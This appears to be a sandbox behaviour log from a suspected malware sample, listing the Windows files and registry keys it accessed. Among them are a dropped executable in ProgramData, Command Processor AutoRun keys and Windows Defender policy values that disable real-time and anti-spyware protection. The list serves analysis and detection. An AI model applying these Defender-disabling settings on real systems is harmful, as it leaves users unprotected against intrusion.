C:\ProgramData\Microsoft\desktop.ini
C:\ProgramData\Microsoft
C:\ProgramData\Microsoft\Windows
C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini
C:\Users\Public\desktop.ini
C:\Users\Public
C:\Users\Public\Desktop\desktop.ini
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
C:\Users\user\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
C:\Windows\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk\desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu\Programs
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell
\??\PIPE\srvsvc
C:\Windows
C:\Windows\sysnative
C:\Windows\sysnative\WindowsPowerShell
C:\Windows\sysnative\WindowsPowerShell\v1.0
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CDOLYY790C64OE64LHER.temp
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll
C:\Windows\winsxs\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\msvcr80.dll
C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000d.db
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2EGNJCI0BSCY3FTN3UDR.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HJXECHJHMG71XDJWL6S5.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SHLCWK96V2SBIL0118N4.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G7KTEU21JYPO697T9XB5.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XJPY4NZGKFGX8849470V.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JQTYDZ9OHJVW8O4XF2MT.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LPH6LETUZ4A54V5MR3I9.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\COJX61US4AS65IWHVSEF.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1MY6M6F4KE0RBLJF0Y76.temp
C:\Windows\sysnative\LogFiles\Scm\994c86ad-a929-4b2c-88a0-4e25a107a029
C:\ProgramData\\xd1\x80\xd0\xbe\xd0\xbf\xd1\x80\xd0\xa3\xd0\x92\xd0\xb0\xd0\xab\xd1\x81\xd0\xb5\xd0\xbd\xd0\xbe\xd1\x80\xd1\x85.exe
C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-120665959-548228820-2376508522-1001\f58155b4b1d5a524ca0261c3ee99fb50_fb20aa52-1ec9-4d1f-b923-f6709499e604
C:\Users\user\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
\??\PIPE\srvsvc
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CDOLYY790C64OE64LHER.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05047.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2EGNJCI0BSCY3FTN3UDR.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HJXECHJHMG71XDJWL6S5.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c056bd.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SHLCWK96V2SBIL0118N4.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05344.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G7KTEU21JYPO697T9XB5.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05c1a.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XJPY4NZGKFGX8849470V.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c055d3.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JQTYDZ9OHJVW8O4XF2MT.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05cd5.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LPH6LETUZ4A54V5MR3I9.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c0604e.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\COJX61US4AS65IWHVSEF.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1MY6M6F4KE0RBLJF0Y76.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1cdf3e5.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05047.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2EGNJCI0BSCY3FTN3UDR.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c056bd.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05344.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05c1a.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c055d3.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05cd5.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c0604e.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\COJX61US4AS65IWHVSEF.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1cdf3e5.TMP
DisableUserModeCallbackFilter
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-GB
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-GB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\qcvzdK14aEZIbg.exe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3abfb8f2-2ffd-11e7-a4cf-806e6f6e6963}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3abfb8f2-2ffd-11e7-a4cf-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3abfb8f2-2ffd-11e7-a4cf-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cc-b5ba-11e3-a2f5-806e6f6e6963}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cc-b5ba-11e3-a2f5-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cc-b5ba-11e3-a2f5-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cd-b5ba-11e3-a2f5-806e6f6e6963}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cd-b5ba-11e3-a2f5-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cd-b5ba-11e3-a2f5-806e6f6e6963}\Generation
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-120665959-548228820-2376508522-1001
HKEY_USERS\S-1-5-21-120665959-548228820-2376508522-1001
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-120665959-548228820-2376508522-1001\State
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-120665959-548228820-2376508522-1001\Preference
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-120665959-548228820-2376508522-1001\ProfileImagePath
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\??????????????.exe
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\DisableUNCCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\EnableExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\DelayedExpansion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\DefaultColor
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\CompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\PathCompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\AutoRun
HKEY_CURRENT_USER\Software\Microsoft\Command Processor
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DisableUNCCheck
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DefaultColor
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000809
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesMyComputer
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesRecycleBin
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\powershell.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCommonGroups
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\ProgramsCache
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\KnownFolders
HKEY_CURRENT_USER
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Start Menu
HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\CallForAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\RestrictedAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsFORDISPLAY
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideFolderVerbs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\UseDropHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsFORPARSING
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsParseDisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\QueryForOverlay
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\MapNetDriveVerbs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\QueryForInfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideInWebView
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideOnDesktopPerUser
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsAliasedNotifications
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsUniversalDelegate
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\NoFileFolderJunction
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\PinToNameSpaceTree
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HasNavigationEnum
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\NonEnum\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
HKEY_CLASSES_ROOT\Drive\shellex\FolderExtensions
HKEY_CLASSES_ROOT\Drive\shellex\FolderExtensions\{fbeb8a05-beee-4442-804e-409d6c4515e9}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shellex\FolderExtensions\{fbeb8a05-beee-4442-804e-409d6c4515e9}\DriveMask
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Explorer
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA\AccessProviders
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DontShowSuperHidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellState
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWebView
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\ClassicShell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\SeparateProcess
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetCrawling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSimpleStartMenu
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowCompColor
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\DontPrettyPath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowInfoTip
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideIcons
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MapNetDrvBtn
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\WebView
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Filter
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SeparateProcess
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\NoNetCrawling
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\AutoCheckSelect
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\IconsOnly
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowTypeOverlay
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Shell\RegisteredApplications\UrlAssociations\Directory\OpenWithProgids
HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\Directory
HKEY_CLASSES_ROOT\Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\CurVer
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\ShellEx\IconHandler
HKEY_CLASSES_ROOT\Folder
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\ShellEx\IconHandler
HKEY_CLASSES_ROOT\AllFilesystemObjects
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\ShellEx\IconHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\Clsid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\Clsid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\Clsid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Name
